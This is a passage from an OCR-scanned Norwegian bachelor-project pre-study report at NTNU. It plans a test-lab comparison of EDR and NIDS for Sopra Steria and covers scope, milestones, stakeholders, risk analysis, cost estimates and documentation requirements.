en god mate er det ogsa hensiktsmessig a se pa hva prosjektet ikke skal ta for seg.
Dette skal prosjektet ta for seg:

- Det skal gjennom prosjektet bli gjennomfert undersgkelser innen relevante
fagomrader, for a bygge tilstrekkelig kompetanse for & utfare arbeidsoppgavene
assosiert med prosjektet

- Det skal bygges en testlab, hvor forskjellene i teknologiene EDR og NIDS undersgkes
ngyere.

- Det skal konkluderes med et resultat basert pa en kvantitativ analyse utfert i
testmiljget

- Det skal produseres tilstrekkelig dokumentasjon og rapporter, basert pa arbeidet som

har blitt gjort, og som skal utfagres videre i prosjektet

Side 11 av 41

Side 32 av 221



Forstudierapport Oppgavenummer 44 @ NTNU

Dette skal prosjektet ikke ta for seg:

- Prosjektet skal ikke ta for seg kostnader og nytteverdi utover det som er knyttet til
selve gjennomfaringen av prosjektet

- Det skal ikke konkluderes med en ideell lgsning, eller formidles hvordan et
sikkerhetssystem bgr vere bygget opp. Resultatet av prosjektet vil bli presentert pa en
ngytral mate

- Prosjektet skal ikke ta for seg en vurdering av hva oppdragsgiver skal eller bar gjare

videre med prosjektets resultat

Side 12 av 41

Side 33 av 221



Forstudierapport Oppgavenummer 44 ® NTNU

3.5 Prosjektets milepeaeler og hovedaktiviteter

Nar det kommer til prosjektets hovedaktiviteter, er disse knyttet opp mot fasene i
framdriftsplanen. Framdriftsplanen var har vi fremstilt som et GANTT-diagram, og det bestar
av oppstartsfasen, designfasen, implementasjons- og driftsfasen samt avslutningsfasen.
Framdriftsplanen er et hjelpemiddel til & planlegge og strukturere prosjektarbeidet.

Prosjektets planlagte gjennomfering kan betraktes i starre detalj i framdriftsplanen som vises

Jan 21 wa W5 Feb 21 ws w9 Mar 21 n2  wiz  wie  Apr21 w17 wig May 21 w21 w22 v Jun21 25 W26
Jan11 Jan18 Jan25 Feb01 Feb 08 Feb15 Feb22 Mar01 Mar08 Mar 15 Mar22 Mar29 Apr05 Apr12 Apr19 Apr26 May03 May 10 May 17 May 24 May 31 Jun07 Jun14 Jun21 Jun28
H Oppstart:

[:] Tilegne en dypere forstaelse av EDR og IDS, og sammenhengen mellom dem
:] Utarbeide et tilstrekkelig utgangspunkt for a snevre inn oppgaven

[:] Oppna en innsnevring av oppgaven

H Design:

[:| Ferdigstille rammeverket til testmiljget
C] Utarbeide farste utkast til designrapport

— Implementasjon og drift:
(7 Kiargjere testmiljget for testing

:] Gjennomfare tester
[:] Evaluere tester

( ) Utarbeide driftsrapport

H Avslutning:
[: Ferdigstille rapporter
[: Ferdigstille sluttprodukt
[:] Evaluering av prosjekt
U Innlevering av prosjekt

U Utfgre presentasjon av prosjekt

Figur 1: Gantt-diagram for prosjektperioden

| tillegg til hovedaktivitetene er det noen milepaler tilknyttet prosjektet. Dette er frister som

ma overholdes for at prosjektet skal kunne ansees som en suksess:

e Oppstartsmgte: 08. Januar 2021
e Levering av ferdig oppgave: 20. Mai 2021
e Presentasjon av ferdig oppgave: 27. Mai 2021 (anslatt)
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4. Interessenter og rammebetingelser

| denne seksjonen vil vi se pa prosjektets sentrale akterer. Vi vil se pa rollen de har i
forbindelse med gjennomfaringen av prosjektet, og ogsa gjennomga deres suksesskriterier.

Til slutt vil vi ogsa presentere de rammebetingelsene som er satt for prosjektet.

4.1 Interessentanalyse

4.1.1 Eksterne interessenter

- Sopra Steria

e Sopra Steria er oppdragsgiver i dette prosjektet, og vil i tillegg stille med en
faglig veileder, Vegar Asmul, til prosjektgruppen. Det er viktig at det hele
tiden underveis i prosjektperioden blir opprettholdt jevn og god
kommunikasjon mellom prosjektgruppen og Sopra Steria. Dette for a sikre
kontinuerlig god kvalitet pa arbeidet, og jevnlig holde hverandre oppdaterte,
noe som er sarlig viktig med tanke pa at arbeidet vil forega «off-site».

e Suksesskriteriene gar ut pa at prosjektgruppa leverer resultater som vil vere av
nytte for Sopra Steria, og som potensielt brukes videre i fremtidige

beslutninger.

4.1.2 Interne interessenter

- Prosjektgruppa

e Bestaende av Adrian Gilberg og Erlend Saugstad. Prosjektgruppa skal
planlegge, gjennomfare, dokumentere og levere oppgaven.

e Suksesskriteriene gar ut pa a gjennomfare en strukturert og grundig prosess
som produserer gode resultater og gir verdi for oppgavestiller. Med dette
gnsker vi 0gsa a styrke var kompetanse pa fagomradet, og tilegne oss nyttig og
verdifull erfaring.

- Veileder fra NTNU
e Stein Meisingseth. Bistar med kompetanse og kunnskap fra tidligere

bacheloroppgaver. Fungerer ogsa som kvalitetskontroll i forbindelse med
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gjennomfgringen av prosjektet. Er med pa a vurdere den endelige kvaliteten pa

prosjektet.
e Suksesskriteriene handler om at prosjektet blir godt gjennomfart og

tilfredsstiller veileders krav og forventninger.
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4.1.3 Oppsummering interessenter

® NTNU

Interessent Suksesskriterier Bidrag til prosjektet
Eksterne
- Sopra Steria Prosjektet produserer Faglig veiledning og
resultater som er nyttige for | kunnskap om
Sopra Steria problemomradet
Interne
- Prosjektgruppen | Vellykket prosess og gode Gjennomfaringen av selve
resultater, gkt kompetanse og | prosjektet. Samhandling
erfaring. med eksterne og interne
interessenter
- Veileder Kunnskap, veiledning og
Et godt gjennomfart prosjekt .
HoCtdl Pros) kvalitetskontroll.

Side 37 av 221

Side 16 av 41



Forstudierapport Oppgavenummer 44 @ NTNU

4.2 Rammebetingelser

Rammebetingelser er styrende for prosjektet og stiller noen absolutte krav til ulike deler av
prosjektarbeidet og resultatet av dette. For at prosjektet i sin helhet til slutt skal kunne ansees

som en suksess, ma disse betingelsene vere oppfylt.
Konkrete rammebetingelser:

1. Ferdigstilling av prosjekt
e Endelig innleveringsfrist for prosjektet er satt til 20. Mai 2021.
2. Arbeidstid
e Det skal arbeides 500 timer +/- 5% per prosjektdeltaker i lgpet av
prosjektperioden. Tidsbruken skal dokumenteres i prosjekthandboken.
3. Dokumentasjon
e Prosjektet skal dokumenteres underveis i prosjektperioden i form av fem
forskjellige dokumenter: forstudierapport, designrapport, driftsrapport,
sluttrapport og prosjekthandbok.
4. Kostnader
e Prosjektet skal holde seg innenfor de kostnadsrammene som er gitt knyttet til

prosjektets gjennomfaring.
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S.

Kritiske suksessfaktorer

Her blir det presentert noen faktorer som vil veere kritisk avgjgrende for hvorvidt prosjektets

resultat vil bli vellykket eller ikke, og videre hvilket informasjonsbehov som er

tilstedevaerende underveis i prosjektet.

5.1

Suksessfaktorer

Felgende faktorer vil vaere kritisk avgjgrende for at prosjektets resultat vi bli vellykket:

Arbeidet skal baere preg av god kommunikasjon underveis, bade mellom
prosjektgruppen og eksterne interessenter, og strebe etter a alltid vere i samsvar med
oppdragsgivers gnsker

Det er helt sentralt at det fores god dokumentasjon gjennom prosjektet, der resultatet
presenteres pa en oversiktlig og presis mate slik at oppdragsgiver vil kunne bruke
resultatet i fremtiden

Prosjektgruppen holder seg innenfor gitte rammebetingelser og andre krav tilknyttet
prosjektet

Prosjektgruppen klarer a utvikle, bruke og analysere dataene fra testlabben i

tilstrekkelig grad
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5.2 Informasjonsbehov

Siden bacheloroppgaven er et samhandlingsprosjekt mellom oppdragsgiver og
prosjektgruppe, er det sveert viktig at det foreligger god kommunikasjon og
informasjonsdeling mellom de involverte interessentene. Blant annet er dette essensielt for a
kontinuerlig kvalitetssikre arbeidet og unnga misforstaelser underveis, redusere
sannsynligheten for & havne i typiske fallgruver, og ikke minst for a sikre maksimalt utbytte
av hverandre som ressurser. Utfordringer i tilknytning til COVID-19 forsterker ogsa
viktigheten av at informasjonsbehovet blir tilfredsstilt og ivaretatt, da arbeidet i hovedsak vil

forega «off-site».

Vi skal i denne seksjonen se nermere pa hva vi anser som ngdvendig grad av

kommunikasjon og informasjonsdeling, differensiert pa hvilke parter som er involvert.

5.2.1 Kommunikasjon

Prosjektgruppen skal kommunisere jevnlig med andre interessenter underveis gjennom hele
prosjektperioden. Det ble i starten av prosjektet oppnadd konsensus ved a legge et fundament
for kommunikasjons-hyppighet, ved & avholde ukentlige mgter med veileder fra Sopra Steria,
hvorav veileder fra NTNU ogsa vil delta annenhver uke og ved behov. Mgatene vil i hovedsak
finne sted over Microsoft Teams.

Denne frekvensen er et utgangspunkt for & oppna et godt niva av samhandling, men
forekommer ikke som en rigid regel. Det vil si at det er en tilstedevaerende mulighet for &
bade gke frekvensen ved behov, eller redusere den, dersom det i lgpet av prosjektet dukker

opp arbeidsfaser hvor dette ansees a vare hensiktsmessig for alle involverte parter.

Ukentlige mgter forekommer i utgangspunktet uavhengig av hvorvidt en konkret agenda er
planlagt pa forhand. Dette kommer av at vi ser en stor verdi i a opprettholde en god relasjon,
og en lav terskel for dialog med veiledere, i tillegg til den naturlige fordelen av radgivning og

det & kunne utveksle relevant faglig stoff.
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Utover dette benytter vi e-post som kommunikasjonskanal. Dette brukes blant annet til & kalle

inn til mater, og til andre sparsmal som skulle dukke opp underveis.

5.2.2 Informasjonsdeling

Prosjektgruppens arbeid vil underveis manifestere seg i form av en rekke rapporter og annen
dokumentasjon. En del av disse dokumentene vil veere av interesse ogsa for andre
interessenter. Det er en stor fordel for alle involverte, at slikt arbeid gjeres lett tilgjengelig for
alle interessenter, blant annet for god kvalitetssikring, tilbakemeldinger, og ikke minst for a

konkret redegjare for status og progresjon underveis i prosjektet.

| forbindelse med bachelorprosjektet har vi opprettet og strukturert en egen gruppe pa
Microsoft Teams hvor alle interessenter har tilgang, og hvor ngdvendig tilleggsfunksjonalitet
er lagt til rette for. Her har vi lagt til muligheter for fildeling, og vi har organisert en
mappestruktur hvor alt relevant arbeid blir lagt til. Pa denne maten vil alle parter enkelt fa

tilgang pa dokumentasjon og arbeid som gjares underveis.
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6. Risikoanalyse

| risikoanalysen drafter vi forskjellige risikofaktorer som kan fare til at prosjektet ikke
lykkes. Vi gjer dette for a forsgke a forhindre at slike forhold oppstar. Dersom forholdene
likevel skulle forekomme, er vi i stgrre grad forberedt pa a handtere de, og vet i sterre grad
hvordan vi skal agere. Vi beregner risikoen knyttet til et forhold ved & se pa risikofaktorens
sannsynlighet og konsekvens. Summen av dette danner et bilde av den totale risikoen knyttet
til hvert enkelt forhold. | forbindelse med enkelte risikofaktorer vil vi ogsa konkret se pa
hvilke tiltak vi kan gjgre for & unnga at forholdene skal forekomme, eventuelt redusere
konsekvensene. Vi prioriterer i starre grad risikofaktorer som er knyttet til en hgyere total

risiko.

6.1 Drgfting av risikofaktorer og konsekvensanalyse

Vi vil her drafte de forskjellige risikofaktorene, og se pa hvilke konsekvenser som kan
forekomme pa bakgrunn av dem. De forskjellige risikofaktorene er delt inn i tre kategorier:

samhandling, gjennomfgring og andre risikofaktorer.
Samhandling

Risikofaktor 1 - Utilstrekkelig forstaelse av bedriftens behov:

- Dersom man ikke har kartlagt bedriftens behov godt nok, eller det har oppstatt
misforstaelser i tilknytning til dette, risikerer man a gjgre feil i vurderinger eller
beslutninger underveis.

- Dette kan medfare at man bruker tid og ressurser pa ungdvendig arbeid, frem til man
finner ut av misforstaelsen. Dersom man ikke underveis finner ut av at forstaelsen er
utilstrekkelig, kan det medfare at man fullfgrer prosjektet med resultater som ikke

tjener oppdragsgiver pa samme mate som opprinnelig var tiltenkt.

Risikofaktor 2 - Darlig samarbeid/kommunikasjon:
- Det er helt sentralt at kommunikasjonen og samarbeidet i prosjektet foregar pa en god
og effektiv mate. Dersom dette ikke er tilfelle, kan det fare til ungdvendig mye
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friksjon i arbeidet. Dette gjelder bade internt i prosjektgruppa, men ogsa mellom
prosjektgruppa og andre interessenter.

- Resultatet av dette er at prosjektarbeidet blir mindre effektivt. Prosesser tar lengre tid,
og det er starre sjanse for at det oppstar misforstaelser og uenigheter. Man far av den

grunn gjort mindre arbeid, og kvaliteten pa arbeidet kan bli darligere.
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Gjennomfgring

Risikofaktor 3 - Darlig utfarelse eller implementasjon:

Dersom man har mangelfull kompetanse eller et utilstrekkelig kildegrunnlag, kan
utfarelsen og implementasjonen bli darligere enn gnsket. Dette vil igjen kunne ha
store konsekvenser pa hele eller deler av prosjektet, da resultatet i stor grad hviler pa

at dette blir gjort pa en skikkelig mate.

Risikofaktor 4 - Kritiske, uforutsette problemer:

Underveis i prosjektet kan det oppsta kritiske, uforutsette problemer.

Dette kan fa store konsekvenser for prosjektets suksess, ettersom prosjektgruppa da
ikke vet hvordan de skal agere. | lgpet av prosjektet er det a forvente at man vil stgte
pa uforutsette problemer underveis. Det presiseres at slike hindringer ikke inngar i
denne risikofaktoren, men at det her differensieres til uforutsette problemer som er

kritiske for generell fremdrift i prosjektet.

Risikofaktor 5 - Overambisigse mal:

Gjennom oppstarten av prosjektet ble det satt mal for hva som skal oppnas gjennom
prosjektets gang. Dersom disse malene viser seg a veere overambisigse, vil dette
kunne fa store konsekvenser for prosjektet.

Dette skyldes at man da mest sannsynlig ikke har kommet fram til de resultatene man
gnsket. Deler av prosjektets hensikt er dermed ikke oppnadd, og det skal mer til at
prosjektet kan klassifiseres som en suksess. Samtidig er det verdt & nevne at oppgaven
skal spisses inn underveis, og at dette dermed ogsa kan pavirke malene og

ambisjonsnivaet.

Risikofaktor 6 - Darlig planlegging:

Darlig planlegging av prosjektet kan fa stor betydning for prosjektets gjennomfaring,
ettersom flyten i arbeidet ikke vil forega optimalt. Man kan ha formet urealistiske
tidsplaner, utelatt viktige momenter, eller ikke lagt godt nok til rette for samarbeid
med interessentene.

Dette kan medfgre at man ikke far gjort alt det som er tiltenkt. Videre kan det ogsa

fore til at det man har gjort ikke er gjennomfart pa en tilstrekkelig god mate. Summen
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av dette blir at prosjektets resultat i stor grad vil kunne bli pavirket negativt. Mal vil

kunne unnga a bli oppnadd i tide, og arbeid kan ende opp som mangelfullt.

Risikofaktor 7 - Mangelfullt grunnlag for entydig konklusjon:

- For at resultatet skal kunne vise til en entydig konklusjon, er resonnementet ngdt til a
bestd av et sterkt grunnlag som statter opp under denne. Dersom man ikke finner
tilstrekkelig med ekstern forskning, og/eller ikke klarer & oppna et sterkt og entydig
resultat fra egne analyser, vil ikke den endelige rapporten kunne komme med en like

sterk og entydig konklusjon som prosjektgruppen gnsker.

Risikofaktor 8 - Darlig arbeidsinnsats:
- Arbeidsinnsatsen fra prosjektgruppen vil veere sterkt korrelert med kvaliteten av
arbeidet. For a kunne tilfredsstille de malene som er lagt for prosjektet, er det dermed

viktig at arbeidsinnsatsen ligger pa et sterkt nok niva til & kunne realisere disse.
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Andre risikofaktorer

Risikofaktor 9 - Tap av utfgrt arbeid:

Det er alltid en overhengende fare for at noe av arbeidet gar tapt underveis i
prosjektperioden, av tekniske eller praktiske arsaker. Dette vil kunne medfare at noe
arbeid ma gjares pa nytt, eller at det ma brukes ressurser for a gjenopprette det som
har gatt tapt. | begge tilfeller er det snakk om tid/ressursbruk som i utgangspunktet
ikke er gnskelig & allokere til dette formalet, og vil kunne ga pa bekostning av annet

arbeid.

Risikofaktor 10 - Sykdom eller andre uforutsette hendelser som farer til fraveer (bade i

prosjektgruppa og for veileder):

Dersom noen av deltakerne i prosjektgruppa eller en av veilederne blir syke, eller av
andre grunner fraveerende, vil dette potensielt kunne fa konsekvenser for prosjektet.
Omfanget av dette avhenger i stor grad av lengden og alvorligheten pa fravaeret.

Hvis fraveeret er kortvarig vil det i liten grad pavirke arbeidet, med mindre det skjer i
en kritisk fase (for eksempel i prosjektets sluttfase). Ved lengre fraveer vil dermed
konsekvensene bli starre, da dette kan fare til flere dager/uker med mangelfull
progresjon. Dette vil da i stor grad kunne pavirke framgangen og felgende prosjektets
resultat.

Risikofaktor 11 - Tekniske begrensninger som hindrer progresjon:

Det teoretiske spekteret som prosjektet i hovedsak hviler pa, har i utgangspunktet veert
ukjent territorium for begge parter i prosjektgruppen. Frem til man har tilegnet seg et
tilstrekkelig kompetansegrunnlag, kan det veere vanskelig a planlegge fremtidig arbeid
som bygger pa at dette er til stede. Dermed risikerer man at det dukker opp tekniske
utfordringer underveis som forhindrer at arbeidet faelger den naturlige progresjonen,
slik den ble estimert i forkant. Det er da ogsa en tilstedeveerende risiko for at man
underveis ma gjere justeringer i fremgangsmaten, og velge alternative ruter til malet,

dersom den opprinnelige planen blir for ressurskrevende i lys av rammebetingelsene.
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Risikofaktor 12 - For hgy kompleksitet i datagrunnlaget:

- Det er helt sentralt for prosjektets suksess at prosjektgruppa er i stand til a analysere
og evaluere dataene som produseres. Dersom kompleksiteten i datagrunnlaget blir for
hay, og prosjektgruppas kompetanse ikke er tilstrekkelig, vil dette kunne fa store
konsekvenser. | farste omgang vil dette medfare at prosjektgruppa vil matte bruke
mer tid enn planlagt pa a sette seg inn i dataene. Videre er det da ogsa mulig at
prosjektgruppa ikke vil klare a trekke slutninger av dataene. Dette vil medfare at
oppgavegiver ikke far det sasmme utbyttet av undersgkelsene som prosjektgruppa har

gjennomfart, og prosjektet vil fort kunne bli karakterisert som mislykket.

6.2 Risikotabell

For & kvantifisere risikobildet, bruker vi en skala fra 1 til 5 for bade sannsynlighet og
konsekvens. Her tilsvarer 1 den laveste sannsynligheten eller konsekvensen, og 5 den
hgyeste. Den totale risikoen blir beregnet ved a se pa produktet av sannsynligheten og dens
konsekvens, og far dermed en skala fra 1 til 25. | tabellen under tar vi for oss hver enkelt

risikofaktor fra punkt 6.1, og vurderer den totale risikoen.

Risikofaktor Sannsynlighet | Konsekvens | Produkt
(1-5) (1-5) (1-25)

Samhandling

R1 - Utilstrekkelig forstaelse av bedriftens 2 4 8

behov

R2 - Darlig samarbeid/kommunikasjon 2 4 8

Gjennomfgring

R3 - Darlig utfarelse eller implementasjon 3 5 15

R4 - Kritiske, uforutsette problemer 1 5 5

R5 - Overambisigse mal 3 3 9
Side 26 av 41

Side 47 av 221



Forstudierapport Oppgavenummer 44 @ NTNU

R6 - Darlig planlegging 3 4 12
R7 - Mangelfullt grunnlag for entydig 3 3 9
konklusjon

R8 - Darlig arbeidsinnsats 1 5 5

Andre risikofaktorer

R9 - Tap av utfgrt arbeid 1 4 4

R10 - Sykdom eller andre uforutsette 5 2 10

hendelser som farer til fraveer

R11 - Tekniske begrensninger som hindrer 2 3 6

progresjon

R12 - For hgy kompleksitet i datagrunnlaget 4 4 16
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6.3 Risikokart (1.utkast)

Under presenteres en visuell fremstilling av det totale risikobildet, i form av en risikomatrise.

X-aksen her illustrerer graden av konsekvens, mens y-aksen viser til sannsynlighetsgraden.

Figur 2: Risikokart tilknyttet risikoanalysen

6.4 Risikoforebyggende tiltak

I dette punktet skal vi ta for oss de mest relevante risikofaktorene som er nevnt i punkt 6.1, og
komme med noen forebyggende tiltak. Vi har valgt & anse risikofaktorene med en total risiko
pa minst 9 som de mest relevante, og det er falgelig disse vi vil iverksette konkrete

risikoforebyggende tiltak mot.

R3 - Darlig utfarelse eller implementasjon  Det finnes flere forebyggende tiltak vi kan
Total risiko: 15 gjennomfagre for & forhindre Darlig utfarelse
eller implementasjon:
- Kontinuerlig inkludere faglig
veileder i det tekniske arbeidet
- Kontinuerlig inkludere veileder i det

dokumentasjonsrelevante og
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formelle arbeidet

- lkke ngle med a kontakte veilederne
dersom problemer oppstar eller vi
sitter fast

- Haen egen seksjon tilknyttet
prosjektets utfarelse og
implementasjon i forbindelse med de

ukentlige evalueringene

R5 - Overambisigse mal Det er vanskelig a sette inn konkrete

Total risiko: 9 forebyggende tiltak mot overambisigse mal.
Dette har sammenheng med at mindre
ambisigse mal ville stride mot ambisjonene
vare i forbindelse med gjennomfgringen av
prosjektet. Vi har likevel forsgkt 8 komme
med noen tiltak som kan fare til at
fallhgyden blir mindre dersom malene viser
seg a vere overambisigse.

- Jevnlig kommunikasjon med
oppdragsgiver gjennom
prosjektperioden der
ambisjonsnivaet til prosjektet blir
drgftet ut fra det momentane
situasjonsbildet, og eventuelt kan
justeres

- Dersom malene viser seg underveis i
prosjektet & veere fullstendig
urealistiske, kan vi beslutte &

revidere malene for prosjektet.

R6 - Darlig planlegging For & motarbeide darlig planlegging er det
Total Risiko: 12 flere forebyggende tiltak vi vil iverksette:

- Evaluere status pa prosjektet ved
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R7 - Mangelfullt grunnlag for entydig
konklusjon
Total Risiko: 9

R10 - Sykdom eller andre uforutsette
hendelser som farer til fravaer
Total risiko: 10
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slutten av hver uke. Her gjennomgar
vi 0gsa planene for kommende uke.

- Evaluere status etter hver enkelt
sprint gjennom prosjektet. Ved
behov revideres fremtidsplanen.

- Jevnlig inkludere veilederne for &
forsikre oss om at vi er i rute

- Kontinuerlig prioritere og sette av

nok tid til planleggingsarbeidet

Faren for at det oppstar Mangelfullt
grunnlag for entydig konklusjon, er en risiko
hvor mye av byrden potensielt kan ligge
utenfor var kontroll. Det er likevel noen
tiltak det er naturlig a sette inn:

- Sgke hjelp hos faglig veileder
dersom vi ikke ser et grunnlag for
entydig konklusjon. Veileder har
mye erfaring pa omradet og kan
potensielt tolke dataene pa en annen
mate

- Akseptere at det er en risiko for at
det blir mangelfullt grunnlag for
entydig konklusjon. Dersom dette
blir tilfellet, behgver det ikke bety at
prosjektet ikke har veert vellykket

Det er ikke sa mye vi kan gjere for a
forhindre eventuell sykdom eller andre
hendelser som farer til fraveer. Det er
derimot flere konkrete tiltak vi kan
gjennomfare for & minimere konsekvensen

av fraveeret:
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Alt relevant arbeid lagres i skyen og
gjares tilgjengelig til enhver tid, for
alle interessenter

Vi legger til rette for at det er mulig
a arbeide hjemmefra, i tillegg til
aktivt samarbeid ved bruk av digitale
samhandlingsplattformer
Prosjektgruppa benytter seg av
gjensidig tilpasning slik at viktig
arbeid ikke er last til en av
deltakerne i prosjektgruppa

R12 - For hgy kompleksitet i datagrunnlaget Det er mange tiltak som er relevante a sette

Total risiko: 15
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inn for & unnga at det blir For hgy

kompleksitet i datagrunnlaget:

Sette av tid til gode relevante
undersgkelser og forberedelser for vi
starter & analysere data

Gjennomfare tester kun pa
datamateriale der vi har kunnskaper
nok til & kunne tolke dataene

Ikke ta for oss for stort datamateriale
av gangen, og heller gjennomfare
iterative prosesser med mindre

datamateriale om gangen
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7. Kost/nytte-analyse

| dette segmentet skal vi se pa hvilke kostnader som vil innga i prosjektet, og hvilken
nytteverdi det kan gi for oppdragsgiver. Ettersom prosjektet omhandler forskningsbasert
arbeid, som ikke ngdvendigvis vil medfare endringer i implementasjon av
sikkerhetssystemet, er det bade krevende og mindre relevant a kvantifisere nytten tilknyttet
prosjektets resultat. Derfor har vi valgt & avgrense kost/nytte-analysen til selve

prosjektprosessen.

Dette inneberer at vi i denne analysen vil se pa kostnadene og nytteverdien knyttet til
arbeidet som blir gjennomfart under prosjektet, uten at vi gar inn pa prosjektets ettermale.
Grunnlaget for dette hviler pa at hva Sopra Steria velger a bruke prosjektets resultat til videre,

i utgangspunktet er utenfor rekkevidde for hva prosjektet skal oppna.

Innholdet i denne analysen er utformet i oppstartsfasen til prosjektet, og det er en
tilstedeveerende mulighet for at noe av innholdet vil veere et subjekt for endring ved et senere
tidspunkt. I det tilfellet vil analysen i rapporten oppdateres senere, der hvor det er relevant.

7.1 Ikke-kvantifiserbar nytte

Det er flere aspekter ved gjennomfaringen av prosjektet som kan bringe nytteverdi for

oppdragsgiver. Denne nytten kan i hovedsak oppsummeres

e Starre innsikt i «trade-off»-en mellom EDR og NIDS i forbindelse med sikkerhet pa
nettverksniva

e Etresultat som videre kan benyttes til egne kost/nytte analyser, og potensielt som
beslutningsgrunnlag for videre utforming av egne sikkerhetslgsninger

e Et bedre utgangspunkt til & evaluere eksisterende sikkerhetslgsninger
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7.2 Estimerte kostnader

Kostnader tilknyttet tidsbruk

| tilknytning til rammebetingelsene til prosjektet, er det satt en tidsramme pa 500 timer (+/-
5%) allokert til arbeid med prosjektet, per deltaker i prosjektgruppen. I tillegg til dette vil det
innga en arbeidsinnsats fra eksterne veiledere, bestaende av veiledere fra NTNU og Sopra

Steria.

Kostnader tilknyttet skytjenester til bruk av testlab

| forbindelse med testlabben finnes det noen relevante kostnader det er mulig & kvantifisere.
Dette er knyttet opp mot VM-ene som det predikeres at skal brukes i testlabben. Her anslar vi
at det er behov for 4 virtuelle maskiner tilgjengelig over maksimalt 16 uker. Dette er fremstilt
i tabellen under, der det gis en predikasjon av ressursbruk knyttet til virtuelle maskiner i
Azure (tallene er hentet fra Azure sin priskalkulator 27.01.2021). Kostnadene tilknyttet
testlabben dekkes av NTNU.

Produkt Antall Tid (i antall Pris (per uke per | Kostnader:
uker, 25 timer [ VM)
per uke)
VM i Azure (D2 | 2 16 5,6 USD =48 1536 NOK
v3) NOK
(27.01.2021)
VM i Azure (D4 | 2 16 11,2USD =96 [3072 NOK
v3) NOK
(27.01.2021)
4608 NOK
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8. Retningslinjer og standarder

| denne seksjonen vil vi gjennomga retningslinjer og standarder som prosjektet ma forholde
seg til. Dette innebzrer a se pa dokumentasjonen som kreves av prosjektet, hvilke prosedyrer
det er knyttet til kvalitetsgjennomganger, samt mer overordnede krav til metoder. Det er ogsa

presentert en prosedyre for endringshandtering.

8.1 Kirav til dokumentasjon

Det finnes flere krav til dokumentasjon som ma oppfylles i lgpet av prosjektets gang. Disse
dokumentene beskrives videre i punktene under. Felles for alle disse dokumentene er at de
skal veere en del av den samlede innleveringen 20. mai. I tillegg til dette er det dokumentert
underveis med daglige agendaer, og evalueringer knyttet til prosjektets fremgang.
Dokumentasjonen blir fortlgpende lagret i en Microsoft Teams-gruppe, slik at den til enhver

tid under prosjektets gang er tilgjengelig for alle interessenter.

8.1.1 Forstudierapport

| forstudierapporten skal hensikten bak prosjektet beskrives. Dokumentet burde ferdigstilles
pa et sa tidlig tidspunkt som mulig, ettersom det inneholder retningslinjer og krav til
gjennomfgringen av prosjektet. Bade oppdragsgiver og prosjektgruppa skal vare enige om
betingelser og retningslinjer som kommer frem i dette dokumenter fgr man setter i gang med

videre arbeid.

Fristen for ferdigstilling av fersteutkastet til forstudierapporten er 29. Januar. Denne dagen

markerer ogsa slutten pa den farste sprinten i prosjektets gang, oppstart.

8.1.2 Designrapport

Designrapporten har som hensikt a beskrive designet til installasjonen/systemet. Dette gjares
gjennom en konseptuell og tekstlig beskrivelse. | dette prosjektets tilfelle vil designrapporten

beskrive testmiljget som skal utvikles for & lgse oppgaven.

Fristen for ferdigstilling av forsteutkastet til forstudierapporten er 19. Februar. Dette er en

del av den andre sprinten, design.
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8.1.3 Driftsrapport

Hensikten med driftsrapporten er a detaljert beskrive fremgangsmaten som har blitt brukt for
a lgse oppgaven. Resultatene som har blitt produsert legges frem her, samt betraktningen

rundt disse resultatene.

Fristen for ferdigstilling av forsteutkastet til driftsrapporten er 7. Mai. Dette er i forbindelse

med den tredje og fjerde sprinten, som begge gar under drift- og implementasjonsfasen.

8.1.4 Sluttrapport

Sluttrapporten er det siste formelle dokumentet som produseres i prosjektet. Dokumentet har
som hensikt & beskrive prosjektets prosess, og hvorvidt malene man satte seg i
forstudierapporten er nadd. Samtidig skal rapporten fungere som en oppsummering og en

avslutning for arbeidet som har blitt gjort.

Fristen for ferdigstilling av fersteutkastet til sluttrapporten er 14. Mai. Dette er en del av den

femte sprinten, avslutning.

8.1.5 Prosjekthandbok

Prosjekthandboka er et sveert sentralt dokument i forbindelse med dokumentasjonen i et hvert
prosjekt. Prosjekthandboka skal dokumentere prosjektgruppas planlegging, progresjon og
gjennomfaring. Prosjekthandboka gir dermed et godt bilde av det totale arbeidet som har blitt

lagt ned i prosjektet, og bestar av flere deler:

Framdriftsplan

Et planleggingsverktay som skal vise hovedaktiviteter og milepaeler som skal oppnas
gjennom prosjektet. Dette skal fglgende vises gjennom et Gantt-diagram.
Mateinnkallinger

Alle mgteinnkallingene som har blitt brukt underveis i prosjektet legges til her..
Mgtereferater

Alle mgtereferatene som har blitt skrevet underveis i prosjektet legges til her.
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Timelister

Alle timene som hver enkelt deltaker i prosjektgruppa har arbeidet, skal loggfares. Videre
skal faringen av timene knyttes opp mot aktivitetene i fremdriftsplanen.

Statusrapporter

Ved slutten av hver enkelt uke fgres det statusrapporter for den gitte uka. Rapporten skal
inneholde informasjon om hvordan arbeidet har gatt, hva som har blitt gjort, og hva som skal

gjeres videre.

Prosjekthandboka fares og utvikles fortlgpende gjennom hele prosjektperioden.

8.2 Kirauv til kvalitetsgjennomganger

| dette avsnittet gjennomgas det kortfattet hvilke av resultatene som produseres som skal ha

kvalitetsgjennomganger, og hvem som star ansvarlig for dette.

8.2.1 Dokumenter og rapporter

Flere dokumenter og rapporter skal produseres i forbindelse med dette prosjektet. Det er
viktig at disse ngye revideres av prosjektgruppens medlemmer, for de videre leveres inn og

kontrolleres av veiledere.

8.2.2 Microsoft Teams

Programvaren Microsoft Teams blir under prosjektperioden benyttet som plattform for &
blant annet dele alle dokumenter og planer, og avholde faste mgter mellom alle involverte i
prosjektet. Med dette forsikrer vi oss om at alle har tilgang til viktige filer og mulighet for en

god kvalitetsgjennomgang av disse.

8.2.3 Testlab

| forbindelse med a anskaffe egne kvantitative data til videre undersgkning, vil det bli bygget
og implementert et eget testlabmilja i lgpet av prosjektet. Pa denne maten vil vi kunne fa et
nermere innblikk i hvordan de ulike teknologiene oppfarer seg, og differensiere hvordan de
presterer under ulike typer trusler. Da resultater fra slike interne analyser vil vare essensielle

for videre arbeid, er det viktig at vi kvalitetssikrer utgangspunktet for et slikt miljg. Dette gjor
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vi ved a sgke radgivende statte fra faglig veileder, samt ved a ngye gjennomga strukturen og

innholdet i et slikt forsgk.

8.3 Kirauv til standarder og metoder

Her gjennomgas det forskjellige standarder, verktgy og metoder vi vil benytte oss av gjennom
prosjektet.

8.3.1 Dokumentmaler

Vi benytter oss av dokumentmaler, utformet av NTNU til de ulike rapportene, for a sikre god

kvalitet og dekning av dokumentasjonen.

8.3.2 Microsoft Teams

Under prosjektet blir Teams benyttet som samhandlingsverktgy. Her blir dokumentasjonen
og annet som utarbeides bli administrert, og plattformen blir i tillegg brukt til & avholde mater

mellom interessentene i prosjektet.

8.4 Endringshandtering

